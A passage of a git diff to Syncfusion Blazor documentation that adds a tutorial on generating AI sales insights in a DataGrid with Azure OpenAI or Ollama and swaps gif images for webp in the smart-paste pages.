+Create a CMS Admin Dashboard UI featuring a collapsible sidebar with navigation items for Dashboard, Content, Users, Analytics, and Settings; a top header (AppBar) showing the title “CMS Admin Dashboard” on the left and a user name with profile icon on the right; and a main content area that includes three compact summary cards in a single row displaying Total Content, Total Users, and Active Sessions (each card showing a label, relevant icon, prominent count value, and percentage change from last month), followed by a “Content Management” section with a filterable and data grid containing columns for Title, Author, Status, Date, and Actions (with edit and delete buttons), and finally two charts displayed side by side-a bar chart titled “Content Over Time” and a donut chart titled “Content by Category”-using realistic sample data for both the grid (10–12 rows) and the charts.
+{% endpromptcard %}
+{% endpromptcards %}
+
+4. Generated code follows best practices with accessible, semantic HTML, responsive mobile-first layouts, strong C# typing, and built-in security measures such as input validation and avoidance of embedded secrets.
+
+## Best Practices
+
+Follow these guidelines to get the most out of UI Builder and ensure high-quality production-ready result:
+
+- **Stay consistent** - Maintain consistent file organization, naming conventions, and coding standards throughout your project.
+- **Use advanced AI models** - For best results, use **Claude Sonnet 4.6 or higher** capability models to produce better code quality and more accurate implementations.
+- **Review all content and assets before production** - Replace any placeholder images or icons (e.g., from emoji sets) with your brand assets. Also validate the logic, security, and compatibility with your existing code before deployment.
+
+## Troubleshooting
+
+- **APM installation failure**: Refer to this [documentation](https://microsoft.github.io/apm/getting-started/installation/#troubleshooting)
+
+- **Skills not loading**: Ensure the **.agent/** and **.github/agents/** folders exist in your project and that the skill was installed successfully using APM. Verify that the correct agent is selected from the Agent dropdown in your IDE.
+
+- **Component not rendering**: Retry generation using the specific component skill to resolve the issue, and ensure required Syncfusion® packages and themes are properly configured.
+
+- **Syncfusion license banner appears**: Use the licensing skill to correctly register and validate your Syncfusion® license key in the application.
+
+
+## FAQ
+
+**Which agents/IDEs are supported?**
+Any Skills-compatible agent that reads local skill files (Code Studio, VS Code, Cursor, etc.).
+
+**Are skills loaded automatically?**  
+Yes. Supported agents automatically load relevant skills based on your query.
+
+**Can I customize the generated styles?**
+Yes - the skill supports choosing Tailwind, Bootstrap, Material, or a custom theme; generated components include clear integration points for style adjustments.
+
+**Does it modify files automatically?**
+The skill proposes changes and requires confirmation for insertion; automatic dependency installation may be offered depending on agent permissions.
+
+## See also
+
+- [Syncfusion Blazor Skills](component-skills)
+- [Agent Skills Standards](https://agentskills.io/home)
+- [Agent Package Manager](https://microsoft.github.io/apm/getting-started/quick-start/)
+
diff --git a/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md b/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md
new file mode 100644
index 0000000000..70f33f28f5
--- /dev/null
+++ b/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md
@@ -0,0 +1,501 @@
+---
+layout: post
+title: Generate AI insights with Blazor DataGrid and AI models | Syncfusion
+description: Learn how to use Syncfusion Blazor DataGrid with Azure OpenAI or Ollama to analyze sales orders, generate AI insights, and highlight flagged records.
+platform: Blazor
+control: AI Integration
+documentation: ug
+keywords: Blazor DataGrid, AI insights, sales order analysis, Syncfusion Blazor AI
+---
+
+# Generate AI insights with Blazor DataGrid and AI models
+
+This guide demonstrates how to use the [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI) package to analyze sales order data and generate AI-powered business insights in the **[Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** component. The [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI) package enables seamless integration with AI models to process and summarize data, while Azure OpenAI or Ollama can be used to generate structured, JSON‑based insights such as an executive summary, key trends, recommendations, and flagged order IDs. In the following example, the application analyzes sales orders, highlights flagged records, and presents actionable business insights.
+
+If you have not created a Blazor application yet, refer to the [Blazor getting started guide](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) to create a project.
+
+## Prerequisites
+
+Install the required Syncfusion and AI service NuGet packages based on the selected AI service.
+
+### For Azure OpenAI
+
+- [Microsoft.Extensions.AI](https://www.nuget.org/packages/Microsoft.Extensions.AI)
+- [Microsoft.Extensions.AI.OpenAI](https://www.nuget.org/packages/Microsoft.Extensions.AI.OpenAI)
+- [Azure.AI.OpenAI](https://www.nuget.org/packages/Azure.AI.OpenAI)
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Microsoft.Extensions.AI
+Install-Package Microsoft.Extensions.AI.OpenAI
+Install-Package Azure.AI.OpenAI
+
+{% endhighlight %}
+{% endtabs %}
+
+### For Ollama
+
+- [Microsoft.Extensions.AI](https://www.nuget.org/packages/Microsoft.Extensions.AI)
+- [OllamaSharp](https://www.nuget.org/packages/OllamaSharp)
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Microsoft.Extensions.AI
+Install-Package OllamaSharp
+
+{% endhighlight %}
+{% endtabs %}
+
+### Syncfusion packages
+
+- [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid)
+- [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons)
+- [Syncfusion.Blazor.Spinner](https://www.nuget.org/packages/Syncfusion.Blazor.Spinner)
+- [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
+- [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI)
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.Grid -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Buttons -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Spinner -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.AI -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+## Add stylesheet and script resources
+
+Include the Blazor theme stylesheet and required scripts using NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets).
+
+Add the stylesheet and script references to **~/Components/App.razor** for Blazor Web Apps using the Interactive Server render mode.
+
+{% tabs %}
+{% highlight html tabtitle="App.razor" %}
+
+<head>
+    ....
+    <!-- Blazor theme stylesheet -->
+    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+</head>
+
+<body>
+    ....
+    <!-- Blazor core script (required for most components, including DataGrid) -->
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+</body>
+
+{% endhighlight %}
+{% endtabs %}
+
+N> Explore the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic for methods to reference themes ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), or [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)). Refer to the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic for different approaches to adding script references in your Blazor application.
+
+## Configure AI service
+
+Choose one of the following AI services based on your requirements:
+- **Azure OpenAI**: Enterprise-grade deployment with enhanced security and scalability.
+- **Ollama**: Self-hosted, privacy-focused AI models.
+
+Follow the instructions for the selected service to register the AI model in the application.
+
+### Azure OpenAI
+
+Deploy an Azure OpenAI Service resource and model as described in [Microsoft's documentation](https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/create-resource). Obtain values for `azureOpenAIKey`, `azureOpenAIEndpoint`, and `azureOpenAIModel`.
+
+Add the following to the **~/Program.cs** file in the Blazor Web App.
+
+{% tabs %}
+{% highlight C# tabtitle="Program.cs" hl_lines="8 9 10 11 12 13 14" %}
+
+using Syncfusion.Blazor.AI;
+using Azure.AI.OpenAI;
+using Microsoft.Extensions.AI;
+using System.ClientModel;
+
+var builder = WebApplication.CreateBuilder(args);
+
+string azureOpenAIKey = "AZURE_OPENAI_KEY";
+string azureOpenAIEndpoint = "AZURE_OPENAI_ENDPOINT";
+string azureOpenAIModel = "AZURE_OPENAI_MODEL";
+AzureOpenAIClient azureOpenAIClient = new AzureOpenAIClient(
+     new Uri(azureOpenAIEndpoint),
+     new ApiKeyCredential(azureOpenAIKey)
+);
+IChatClient azureOpenAIChatClient = azureOpenAIClient.GetChatClient(azureOpenAIModel).AsIChatClient();
+builder.Services.AddChatClient(azureOpenAIChatClient);
+builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
+
+var app = builder.Build();
+
+{% endhighlight %}
+{% endtabs %}
+
+### Ollama
+
+To use Ollama for self-hosted AI models:
+
+1. **Download and install Ollama**: Visit [Ollama's official website](https://ollama.com) and install the application for your operating system.
+2. **Install a model**: Choose a model from the [Ollama Library](https://ollama.com/library) (for example, `llama2:13b`, `mistral:7b`).
+3. **Configure the application**: Provide the `Endpoint` URL (for example, `http://localhost:11434`) and `modelName` (for example, `llama2:13b`).
+
+Add the following to the **~/Program.cs** file in the Blazor Web App.
+
+{% tabs %}
+{% highlight C# tabtitle="Program.cs" hl_lines="7 8 9 10" %}
+
+using Syncfusion.Blazor.AI;
+using Microsoft.Extensions.AI;
+using OllamaSharp;
+
+var builder = WebApplication.CreateBuilder(args);
+
+string modelName = "MODEL_NAME";
+IChatClient chatClient = new OllamaApiClient("http://localhost:11434", modelName);
+builder.Services.AddChatClient(chatClient);
+builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
+
+var app = builder.Build();
+
+{% endhighlight %}
+{% endtabs %}
+
+N> Ensure the Ollama server is running and accessible at the specified endpoint (for example, `http://localhost:11434`) before starting the application.
+
+## Register Blazor service
+
+Add the Blazor service to the **~/Program.cs** file. The configuration depends on the app's **Interactive Render Mode**:
+
+- **Server mode**: Register the service in the single **~/Program.cs** file.
+- **WebAssembly or Auto mode**: Register the service in both the server-side **~/Program.cs** and client-side **~/Program.cs** files.
+
+{% tabs %}
+{% highlight C# tabtitle="Server (~/_Program.cs)" hl_lines="1 8" %}
+
+using Syncfusion.Blazor;
+
+var builder = WebApplication.CreateBuilder(args);
+
+builder.Services.AddRazorComponents()
+    .AddInteractiveServerComponents()
+    .AddInteractiveWebAssemblyComponents();
+builder.Services.AddSyncfusionBlazor();
+
+var app = builder.Build();
+
+{% endhighlight %}
+{% highlight C# tabtitle="Client (~/_Program.cs)" hl_lines="1 4" %}
+
+using Syncfusion.Blazor;
+
+var builder = WebAssemblyHostBuilder.CreateDefault(args);
+builder.Services.AddSyncfusionBlazor();
+
+await builder.Build().RunAsync();
+
+{% endhighlight %}
+{% endtabs %}
+
+## Configure render mode
+
+If your app's interactivity location is set to **Per page/component**, add the required render mode directive at the top of each `~/Pages/*.razor` file that uses interactive components.
+
+{% tabs %}
+{% highlight razor tabtitle="Server" %}
+
+@rendermode InteractiveServer
+
+{% endhighlight %}
+{% highlight razor tabtitle="WebAssembly" %}
+
+@rendermode InteractiveWebAssembly
+
+{% endhighlight %}
+{% highlight razor tabtitle="Auto" %}
+
+@rendermode InteractiveAuto
+
+{% endhighlight %}
+{% endtabs %}
+
+N> If the interactivity location is set to **Global**, no per-page directive is required.
+
+## How AI models integrate with Blazor DataGrid
+
+This sample demonstrates how to use the **[Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** to analyze sales order data and generate business insights with AI models. The AI service returns structured JSON that includes an executive summary, key trends, recommendations, and flagged order IDs. While the request is being processed, a loading spinner is displayed, and the grid highlights the rows identified by the AI.
+
+The sample loads sales order data in `Home.razor.cs` and sends it to the AI service when the user selects **Generate AI Insights**.
+
+### Workflow
+
+- **Sample data**: A list of `SalesOrder` records is created with fields such as `OrderId`, `Customer`, `Region`, `Category`, `Sales`, `Profit`, and `OrderDate`.
+- **AI request**: The grid data is serialized to JSON and passed to `IChatInferenceService`.
+- **Structured response**: The prompt instructs the model to return JSON only with the following properties:
+  - `summary`
+  - `keyTrends`
+  - `recommendations`
+  - `flaggedOrderIds`
+- **Response handling**: The returned text is cleaned, deserialized, and stored in the `AiInsights` model.
+- **Row highlighting**: The `OnQueryCellInfo` event checks each row's `OrderId` and applies a highlight style to the flagged records.
+- **Insight display**: The summary, trends, and recommendations are displayed below the grid, and any errors are shown if the AI request fails.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@page "/"
+
+@inject IChatInferenceService AIService
+@using Syncfusion.Blazor.AI
+@using Syncfusion.Blazor.Buttons
+@using Syncfusion.Blazor.Grids
+@using Syncfusion.Blazor.Spinner
+
+<div class="ai-grid-shell">
+    <SfGrid @ref="GridRef"
+            TValue="SalesOrder"
+            DataSource="@orders"
+            AllowTextWrap="true">
+        <GridTemplates>
+            <ToolbarTemplate>
+                <SfButton CssClass="e-primary" IsPrimary="true" Disabled="@isLoading"
+                          OnClick="GenerateInsightsAsync">
+                    @(isLoading ? "Generating..." : "Generate AI Insights")
+                </SfButton>
+            </ToolbarTemplate>
+        </GridTemplates>
+
+        <GridEvents TValue="SalesOrder" QueryCellInfo="OnQueryCellInfo"></GridEvents>
+
+        <GridColumns>
+            <GridColumn Field="@nameof(SalesOrder.OrderId)" HeaderText="Order ID" IsPrimaryKey="true" Width="110"></GridColumn>
+            <GridColumn Field="@nameof(SalesOrder.Customer)" HeaderText="Customer" Width="140"></GridColumn>
+            <GridColumn Field="@nameof(SalesOrder.Region)" HeaderText="Region" Width="110"></GridColumn>
+            <GridColumn Field="@nameof(SalesOrder.Category)" HeaderText="Category" Width="120"></GridColumn>
+            <GridColumn Field="@nameof(SalesOrder.Sales)" HeaderText="Sales" TextAlign="TextAlign.Right" Format="C0" Width="110"></GridColumn>
+            <GridColumn Field="@nameof(SalesOrder.Profit)" HeaderText="Profit" TextAlign="TextAlign.Right" Format="C0" Width="110"></GridColumn>
+            <GridColumn Field="@nameof(SalesOrder.OrderDate)" HeaderText="Order Date" Format="d" Width="130"></GridColumn>
+        </GridColumns>
+    </SfGrid>
+
+    <SfSpinner Visible="@isLoading"></SfSpinner>
+
+    @if (!string.IsNullOrWhiteSpace(errorMessage))
+    {
+        <div class="error-box">@errorMessage</div>
+    }
+
+    @if (insight is not null)
+    {
+        <div class="insight-grid">
+            <div class="insight-card">
+                <h4>Executive Summary</h4>
+                <p>@insight.Summary</p>
+            </div>
+
+            <div class="insight-card">
+                <h4>Key Trends</h4>
+                <ul>
+                    @foreach (var item in insight.KeyTrends)
+                    {
+                        <li>@item</li>
+                    }
+                </ul>
+            </div>
+
+            <div class="insight-card">
+                <h4>Recommendations</h4>
+                <ul>
+                    @foreach (var item in insight.Recommendations)
+                    {
+                        <li>@item</li>
+                    }
+                </ul>
+            </div>
+        </div>
+    }
+</div>
+
+<style>
+    .ai-grid-shell { display: grid; gap: 1rem; }
+    .insight-grid { display: grid; gap: 1rem; grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); }
+    .insight-card { border: 1px solid #d1d5db; border-radius: 8px; padding: 1rem; background: #fff; }
+    .error-box { padding: .75rem 1rem; border-radius: 6px; background: #fee2e2; color: #991b1b; }
+    .ai-highlight-cell { background: #fff7ed; color: #9a3412; font-weight: 600; }
+</style>
+
+{% endhighlight %}
+{% highlight C# tabtitle="Home.razor.cs" %}
+
+using Microsoft.Extensions.AI;
+using Syncfusion.Blazor.AI;
+using Syncfusion.Blazor.Grids;
+using System.Text.Json;
+
+namespace AISamples.Components.Pages;
+
+public partial class Home
+{
+    private List<SalesOrder> orders = new();
+    private AiInsights? insight;
+    private bool isLoading;
+    private string errorMessage = string.Empty;
+    private HashSet<string> highlightedOrderIds = new(StringComparer.OrdinalIgnoreCase);
+    private SfGrid<SalesOrder>? GridRef;
+
+    protected override void OnInitialized()
+    {
+        orders = new List<SalesOrder>
+        {
+            new() { OrderId = "SO-1001", Customer = "Northwind", Region = "West", Category = "Bikes", Sales = 12000, Profit = 3200, OrderDate = new DateTime(2026, 1, 5) },
+            new() { OrderId = "SO-1002", Customer = "Contoso", Region = "East", Category = "Accessories", Sales = 3400, Profit = 980, OrderDate = new DateTime(2026, 1, 8) },
+            new() { OrderId = "SO-1003", Customer = "Adventure Works", Region = "West", Category = "Clothing", Sales = 8600, Profit = 1400, OrderDate = new DateTime(2026, 1, 11) },
+            new() { OrderId = "SO-1004", Customer = "Fabrikam", Region = "South", Category = "Bikes", Sales = 1500, Profit = -220, OrderDate = new DateTime(2026, 1, 13) },
+            new() { OrderId = "SO-1005", Customer = "Northwind", Region = "North", Category = "Electronics", Sales = 24200, Profit = 6700, OrderDate = new DateTime(2026, 1, 15) },
+            new() { OrderId = "SO-1006", Customer = "Contoso", Region = "East", Category = "Clothing", Sales = 1900, Profit = 120, OrderDate = new DateTime(2026, 1, 18) },
+            new() { OrderId = "SO-1007", Customer = "Adventure Works", Region = "West", Category = "Accessories", Sales = 5400, Profit = 1650, OrderDate = new DateTime(2026, 1, 22) },
+            new() { OrderId = "SO-1008", Customer = "Fabrikam", Region = "South", Category = "Electronics", Sales = 7800, Profit = 400, OrderDate = new DateTime(2026, 1, 24) },
+            new() { OrderId = "SO-1009", Customer = "Northwind", Region = "Central", Category = "Bikes", Sales = 18900, Profit = 5100, OrderDate = new DateTime(2026, 1, 27) },
+            new() { OrderId = "SO-1010", Customer = "Contoso", Region = "North", Category = "Accessories", Sales = 2200, Profit = 180, OrderDate = new DateTime(2026, 1, 29) },
+            new() { OrderId = "SO-1011", Customer = "Adventure Works", Region = "South", Category = "Clothing", Sales = 4600, Profit = 760, OrderDate = new DateTime(2026, 2, 2) },
+            new() { OrderId = "SO-1012", Customer = "Fabrikam", Region = "West", Category = "Electronics", Sales = 30500, Profit = 9200, OrderDate = new DateTime(2026, 2, 5) }
+        };
+    }
+
+    private async Task GenerateInsightsAsync()
+    {
+        isLoading = true;
+        errorMessage = string.Empty;
+        insight = null;
+        highlightedOrderIds.Clear();
+
+        try
+        {
+            string payload = JsonSerializer.Serialize(orders);
+
+            string prompt =
+                "Analyze the following sales orders and return JSON only in this exact schema:\n\n" +
+                "{\n" +
+                "  \"summary\": \"string\",\n" +
+                "  \"keyTrends\": [\"string\"],\n" +
+                "  \"recommendations\": [\"string\"],\n" +
+                "  \"flaggedOrderIds\": [\"SO-1001\"]\n" +
+                "}\n\n" +
+                "Writing requirements:\n" +
+                "- Use clear, professional, customer-friendly language that is easy to understand.\n" +
+                "- Avoid vague wording such as 'varied performance' or 'some trends'.\n" +
+                "- Avoid confusing shorthand or bracketed value pairs like 'SO-1012 ($30,500, $9,200 profit)'.\n" +
+                "- When referencing an order, always write it in a readable format like:\n" +
+                "  'Order SO-1012: Sales $30,500 and profit $9,200.'\n" +
+                "- If profit is negative, write it clearly as a loss, for example:\n" +
+                "  'Order SO-1004: Sales $1,500 and a loss of $220.'\n" +
+                "- The summary must clearly state the top-performing category, the weakest category, and any profit concerns.\n" +
+                "- keyTrends must contain 3 to 5 specific, easy-to-read bullets.\n" +
+                "- Each key trend must explain what the numbers mean in plain language and must reference exact categories, regions, customers, or order IDs.\n" +
+                "- recommendations must contain 3 to 5 specific, actionable bullets.\n" +
+                "- Each recommendation must be practical, specific, and tied to a category, region, customer, or order ID.\n" +
+                "- flaggedOrderIds is MANDATORY and must ALWAYS be included.\n" +
+                "- flaggedOrderIds must contain ALL Order IDs with negative profit or clearly low profit.\n" +
+                "- flaggedOrderIds values MUST exactly match the OrderId values from the data (for example: \"SO-1004\").\n" +
+                "- If no orders are negative or low-profit, return flaggedOrderIds as an empty array: [].\n" +
+                "- Never omit flaggedOrderIds.\n" +
+                "- Include sales and profit amounts where relevant, but always explain them clearly.\n" +
+                "- Keep the content concise, polished, and suitable for business review.\n" +
+                "- Return JSON only. Do not include markdown, code fences, or any extra text.\n\n" +
+                "Data:\n" +
+                payload;
+
+            ChatParameters parameters = new()
+            {
+                Messages =
+                [
+                    new ChatMessage(ChatRole.User, prompt)
+                ]
+            };
+
+            string result = await AIService.GenerateResponseAsync(parameters);
+            result = CleanJson(result);
+
+            insight = JsonSerializer.Deserialize<AiInsights>(
+                result,
+                new JsonSerializerOptions { PropertyNameCaseInsensitive = true });
+
+            if (insight is not null)
+            {
+                highlightedOrderIds = new HashSet<string>(insight.FlaggedOrderIds, StringComparer.OrdinalIgnoreCase);
+                if (GridRef is not null)
+                {
+                    await GridRef.Refresh();
+                }
+            }
+        }
+        catch (Exception ex)
+        {
+            errorMessage = $"AI insight generation failed: {ex.Message}";
+        }
+        finally
+        {
+            isLoading = false;
+            await InvokeAsync(StateHasChanged);
+        }
+    }
+
+    private void OnQueryCellInfo(QueryCellInfoEventArgs<SalesOrder> args)
+    {
+        if (highlightedOrderIds.Contains(args.Data.OrderId))
+        {
+            args.Cell.AddClass(new[] { "ai-highlight-cell" });
+        }
+    }
+
+    private static string CleanJson(string value)
+    {
+        return value.Replace("```json", string.Empty, StringComparison.OrdinalIgnoreCase)
+                    .Replace("```", string.Empty, StringComparison.OrdinalIgnoreCase)
+                    .Trim();
+    }
+
+    public class SalesOrder
+    {
+        public string OrderId { get; set; } = string.Empty;
+        public string Customer { get; set; } = string.Empty;
+        public string Region { get; set; } = string.Empty;
+        public string Category { get; set; } = string.Empty;
+        public decimal Sales { get; set; }
+        public decimal Profit { get; set; }
+        public DateTime OrderDate { get; set; }
+    }
+
+    public class AiInsights
+    {
+        public string Summary { get; set; } = string.Empty;
+        public List<string> KeyTrends { get; set; } = new();
+        public List<string> Recommendations { get; set; } = new();
+        public List<string> FlaggedOrderIds { get; set; } = new();
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+## Error handling and reliability in AI-powered DataGrids
+
+If the AI service fails to return a valid response, the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) displays an appropriate error message to inform the user. To ensure reliability and a smooth user experience, consider handling the following common scenarios:
+
+- **Invalid configuration**: Ensure the API key, endpoint, and model name are valid and accessible.
+- **Model unavailable**: Ensure the specified `azureOpenAIModel` or `modelName` is deployed and supported.
+- **Network or service issues**: Verify connectivity to the AI service, including self‑hosted endpoints.
+- **Timeouts and large datasets**: Large requests may cause delays or timeouts, so consider batching data or optimizing prompts.
+- **Invalid AI responses**: Validate AI output before applying results to the DataGrid.
+- **Rate limits**: Handle throttling gracefully by retrying or informing the user.
+- **Fallback behavior**: Allow the DataGrid to continue displaying data if AI processing fails.
+
+N> In addition to standard errors, applications should **validate AI responses**, **handle rate limits**, and provide graceful fallback behavior to **ensure a reliable user experience**.
+
+## Performance considerations
+
+When handling large datasets, ensure the Ollama server has sufficient resources (CPU/GPU) to process requests efficiently. For datasets exceeding 10,000 records, consider splitting the data into smaller batches to avoid performance bottlenecks. Test the application with your specific dataset to determine optimal performance.
+
+![AI-powered DataGrid in Blazor](../images/ai-powered-blazor-datagrid.webp)
diff --git a/blazor/smart-ai-solutions/ai-samples/images/ai-powered-blazor-datagrid.webp b/blazor/smart-ai-solutions/ai-samples/images/ai-powered-blazor-datagrid.webp
new file mode 100644
index 0000000000..94732fa810
Binary files /dev/null and b/blazor/smart-ai-solutions/ai-samples/images/ai-powered-blazor-datagrid.webp differ
diff --git a/blazor/smart-paste/annotation.md b/blazor/smart-paste/annotation.md
index 836c548ab6..db83e2fdc0 100644
--- a/blazor/smart-paste/annotation.md
+++ b/blazor/smart-paste/annotation.md
@@ -84,11 +84,11 @@ By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor `Smart P
 
 N> In this example, the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataForm](https://blazor.syncfusion.com/documentation/data-form/getting-started-with-web-app) component is used to manage form input fields. To get started, ensure you have the [Syncfusion.Blazor.DataForm](https://www.nuget.org/packages/Syncfusion.Blazor.DataForm) package installed.
 
-![Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart paste button with annotation](images/smart-paste-annotation.gif)
+![Syncfusion Blazor Smart paste button with annotation](images/smart-paste-annotation.webp)
 
 N> [View Sample in GitHub](https://github.com/syncfusion/smart-ai-samples).
 
 ## See also
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Paste Button in Blazor Web App](https://blazor.syncfusion.com/documentation/)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Paste Button in Blazor Server App](https://blazor.syncfusion.com/documentation/)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Paste Button in Blazor Web App](https://blazor.syncfusion.com/documentation)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Paste Button in Blazor Server App](https://blazor.syncfusion.com/documentation)
diff --git a/blazor/smart-paste/claude-service.md b/blazor/smart-paste/claude-service.md
index 956cc88fd4..de42416cae 100644
--- a/blazor/smart-paste/claude-service.md
+++ b/blazor/smart-paste/claude-service.md
@@ -266,7 +266,7 @@ N> Ensure the [Syncfusion Blazor DataForm](https://blazor.syncfusion.com/documen
 4. Copy the sample content provided in the Razor file.
 5. Click the **Smart Paste** button to verify that the form fields are populated correctly using the Groq AI service.
 
-![Syncfusion Blazor Smart Paste Button with Groq AI](images/smart-paste.gif)
+![Syncfusion Blazor Smart Paste Button with Groq AI](images/smart-paste.webp)
 
 N> [View Sample in GitHub](https://github.com/syncfusion/smart-ai-samples).
 
diff --git a/blazor/smart-paste/custom-inference-backend.md b/blazor/smart-paste/custom-inference-backend.md
index b40483dde5..fcbac73418 100644
--- a/blazor/smart-paste/custom-inference-backend.md
+++ b/blazor/smart-paste/custom-inference-backend.md
@@ -72,7 +72,7 @@ var app = builder.Build();
 4. Copy the sample content provided in the Razor file.
 5. Click the **Smart Paste** button to verify that the form fields are populated correctly using the custom AI service.
 
-![Syncfusion Blazor Smart Paste Button with Custom AI](images/smart-paste.gif)
+![Syncfusion Blazor Smart Paste Button with Custom AI](images/smart-paste.webp)
 
 ## Implemented AI Services
 
diff --git a/blazor/smart-paste/deepseek-service.md b/blazor/smart-paste/deepseek-service.md
index 234009e91b..1ab9f91927 100644
--- a/blazor/smart-paste/deepseek-service.md
+++ b/blazor/smart-paste/deepseek-service.md
@@ -261,7 +261,7 @@ N> Ensure the [Syncfusion Blazor DataForm](https://blazor.syncfusion.com/documen
 4. Copy the sample content provided in the Razor file.
 5. Click the **Smart Paste** button to verify that the form fields are populated correctly using the Groq AI service.
 
-![Syncfusion Blazor Smart Paste Button with Groq AI](images/smart-paste.gif)
+![Syncfusion Blazor Smart Paste Button with Groq AI](images/smart-paste.webp)
 
 N> [View Sample in GitHub](https://github.com/syncfusion/smart-ai-samples).
 
diff --git a/blazor/smart-paste/gemini-service.md b/blazor/smart-paste/gemini-service.md
index 0f0eca10b0..84286ff94c 100644
--- a/blazor/smart-paste/gemini-service.md
+++ b/blazor/smart-paste/gemini-service.md
@@ -310,7 +310,7 @@ N> Ensure the [Syncfusion Blazor DataForm](https://blazor.syncfusion.com/documen
 4. Copy the sample content provided in the Razor file.
 5. Click the **Smart Paste** button to verify that the form fields are populated correctly using the Groq AI service.
 
-![Syncfusion Blazor Smart Paste Button with Groq AI](images/smart-paste.gif)
+![Syncfusion Blazor Smart Paste Button with Groq AI](images/smart-paste.webp)
 
 N> [View Sample in GitHub](https://github.com/syncfusion/smart-ai-samples).
 
diff --git a/blazor/smart-paste/getting-started-webapp.md b/blazor/smart-paste/getting-started-webapp.md
index 5551310120..b8eddc0491 100644
--- a/blazor/smart-paste/getting-started-webapp.md
+++ b/blazor/smart-paste/getting-started-webapp.md
@@ -363,7 +363,7 @@ Add the Syncfusion® **Blazor Smart Paste Button** component with form component
 1. Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application, rendering the Syncfusion® Blazor Smart Paste Button component in your default web browser.
 2. Copy the `Sample Content` and click the `Smart Paste` button to see the form fields automatically populated.
 
-![Syncfusion Smart Paste Button filling a form in a Blazor Web App](images/smart-paste.gif)
+![Syncfusion Smart Paste Button filling a form in a Blazor Web App](images/smart-paste.webp)
 
 N> [View Sample in GitHub](https://github.com/syncfusion/smart-ai-samples).
 
diff --git a/blazor/smart-paste/getting-started.md b/blazor/smart-paste/getting-started.md
index 0ce779c137..aa988097df 100644
--- a/blazor/smart-paste/getting-started.md
+++ b/blazor/smart-paste/getting-started.md
@@ -381,7 +381,7 @@ N> In this example, [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Dat
 
 * Copy the `Sample Content` and click on `Smart Paste` to see how the form is instantly filled.
 
-![Syncfusion Smart Paste Button - Output](images/smart-paste.gif)
+![Syncfusion Smart Paste Button - Output](images/smart-paste.webp)
 
 N> [View Sample in GitHub](https://github.com/syncfusion/smart-ai-samples).
 
diff --git a/blazor/smart-paste/groq-service.md b/blazor/smart-paste/groq-service.md
index 69821f7685..5a8c0af5d2 100644
--- a/blazor/smart-paste/groq-service.md
+++ b/blazor/smart-paste/groq-service.md
@@ -264,7 +264,7 @@ N> Ensure the [Syncfusion Blazor DataForm](https://blazor.syncfusion.com/documen
 4. Copy the sample content provided in the Razor file.
 5. Click the **Smart Paste** button to verify that the form fields are populated correctly using the Groq AI service.
 
-![Syncfusion Blazor Smart Paste Button with Groq AI](images/smart-paste.gif)
+![Syncfusion Blazor Smart Paste Button with Groq AI](images/smart-paste.webp)
 
 N> [View Sample in GitHub](https://github.com/syncfusion/smart-ai-samples).
 
diff --git a/blazor/smart-paste/images/smart-paste-annotation.gif b/blazor/smart-paste/images/smart-paste-annotation.gif
deleted file mode 100644
index 4075b1745c..0000000000
Binary files a/blazor/smart-paste/images/smart-paste-annotation.gif and /dev/null differ
diff --git a/blazor/smart-paste/images/smart-paste-annotation.webp b/blazor/smart-paste/images/smart-paste-annotation.webp
new file mode 100644
index 0000000000..c386c3aee5
